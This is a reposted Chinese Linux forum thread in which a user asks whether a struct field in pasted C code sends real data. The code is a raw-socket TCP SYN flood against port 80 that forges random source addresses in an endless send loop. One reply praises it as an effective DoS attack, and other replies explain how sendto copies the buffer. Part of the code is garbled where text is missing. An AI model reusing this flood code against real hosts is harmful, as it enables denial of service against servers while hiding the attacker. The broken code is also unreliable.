当前位置:  技术问答>linux和unix

结构体中指针的疑问,急,一直迷惑

    来源: 互联网  发布时间:2016-04-14

    本文导语:  下面的代码,从网上看的,可能有点长,我的问题是 :struct ip 结构体中的 ip_dst 是个指针变量,发送的buff中,存的也只是个地址啊,并不是真正的实际数据啊,sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); ...

下面的代码,从网上看的,可能有点长,我的问题是 :struct ip 结构体中的 ip_dst 是个指针变量,发送的buff中,存的也只是个地址啊,并不是真正的实际数据啊,sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); 能行吗?
#define DESTPORT 80 /* 要攻击的端口(WEB) */ 
  #define LOCALPORT 8888 
  void send_tcp(int sockfd,struct sockaddr_in *addr); 
  unsigned short check_sum(unsigned short *addr,int len); 
  int main(int argc,char **argv) 
  { 
  int sockfd; 
  struct sockaddr_in addr; 
  struct hostent *host; 
  int on=1; 
  if(argc!=2) 
  { 
  fprintf(stderr,"Usage:%s hostnamena",argv[0]); 
  exit(1); 
  } 
  bzero(&addr,sizeof(struct sockaddr_in)); 
  addr.sin_family=AF_INET; 
  addr.sin_port=htons(DESTPORT); 
  if(inet_aton(argv[1],&addr.sin_addr)==0) 
  { 
  host=gethostbyname(argv[1]); 
  if(host==NULL) 
  { 
  fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno)); 
  exit(1); 
  } 
  addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); 
  } 
  /**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/ 
  sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); 
  if(sockfdip_v=IPVERSION; /** 版本一般的是 4 **/ 
  ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/ 
  ip->ip_tos=0; /** 服务类型 **/ 
  ip->ip_len=htons(head_len); /** IP数据包的长度 **/ 
  ip->ip_id=0; /** 让系统去填写吧 **/ 
  ip->ip_off=0; /** 和上面一样,省点时间 **/ 
  ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/ 
  ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/ 
  ip->ip_sum=0; /** 校验和让系统去做 **/ 
  ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/ 
  /******* 开始填写TCP数据包 *****/ 
  tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); 
  tcp->source=htons(LOCALPORT); 
  tcp->dest=addr->sin_port; /** 目的端口 **/ 
  tcp->seq=random(); 
  tcp->ack_seq=0; 
  tcp->doff=5; 
  tcp->syn=1; /** 我要建立连接 **/ 
  tcp->check=0; 
  /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/ 
  while(1) 
  { 
  /** 你不知道我是从那里来的,慢慢的去等吧! **/ 
  ip->ip_src.s_addr=random(); 
  /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */ 
  /** 下面这条可有可无 */ 
  tcp->check=check_sum((unsigned short *)tcp, 
  sizeof(struct tcphdr)); 
  sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); 
  } 

|
首先你代码中的buffer不是一个指针,而是一个数组(连续内存空间)。
char buffer[100]; /**** 用来放置我们的数据包 ****/ 

你在此块空间内填充了ip头和tcp头,以及数据(send_tcp的大多数代码都在完成这个工作)。

然后你调用sendto系统调用来发送数据。sendto会把buffer的内容按照你指定的长度head_len从
用户空间复制内核空间。所以不用担心会出现你认为的问题。

至于
ip->ip_dst=addr->sin_addr;
这个字段并不会影响发送,因为在系统调用sys_sendto中目的地址是从struct sockaddr结构体
中获取的(也就是sendto的第5个参数),也由系统调用从用户空间复制到内核空间。
和这个字段一点关系没有。所以这个字段你可以就理解为报文的数据,保存一个指针地址。

用兴趣可以看一下Linux内核的sys_sendto系统调用实现代码

|
结构体中定义一个char a【1】这么个数组,以后就可以实现不定长数据的组织了。

|

不土,TCP SYN DoS攻击,很管用。

|
可以的,已经指定了数据的实际长度

|


就是因为 SYN flood 太常见, 又简单,又容易屏蔽, 所以才土。 :)

|
6楼名字:gettext
xgettext  

学习

|

正解,不过学习了

|
lz很强,注释有个性

|
这种攻击方法太土了吧?

|
up

    
 
 
 
本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐
  • Linux文件系统结构的疑问
  • 结构体位的疑问
  • 关于C语言结构体初始化的疑问
  • <<大话数据结构>>中冒泡排序算法改进
  • 请问:在用proc方式往数据库插入数据时,我能不能定义一个结构体,它与表的每一项对应,将结构体赋好值后,再只将这个结构体插入表中,这行不行啊?
  • 基于Key-Value的NOSQL数据库Redis的数据结构及常用相关命令介绍
  • 《arm体系结构结构与编程》书如何
  • Oracle数据库(Oracle Database)体系结构及基本组成介绍
  • file结构和inode结构
  • 数据结构:图(有向图,无向图),在Python中的表示和实现代码示例
  • 《莱昂氏UNIX源代码分析》中有一种结构体声明没有结构体名
  • mysql 命令大全及导入导出表结构或数据
  • 关于学籍管理系统B/S结构实现的结构问题
  • GCC 编译问题: 结构A中有个成员结构B??
  • 强人,linux下驱动相关数据结构和usb设备数据结构之间的功能分析
  • 谁能告诉我EJB的体系结构有哪些,这些体系结构的优缺点如何,万分感谢!
  • struct __una_u16结构是什么结构.
  • GNU汇编fill填充一个数据结构使得另一个数据结构全部清零
  • 高手帮帮忙!vi中如何实现跳转到任意结构体或函数的声明处,包括系统库中声明的函数和数据结构?
  • jbuilder7里如何在project pane里显示出某个project的所有的类的结构图,就如显示source java files的结构图一样
  • 关于客户服务器结构与浏览器服务器结构编程的比较
  • 有一个win32的结构体,大伙看看能否转换成linux下的基本等价的结构体?
  • 结构的用法?
  • 我的关于BS结构的疑惑


  • 站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3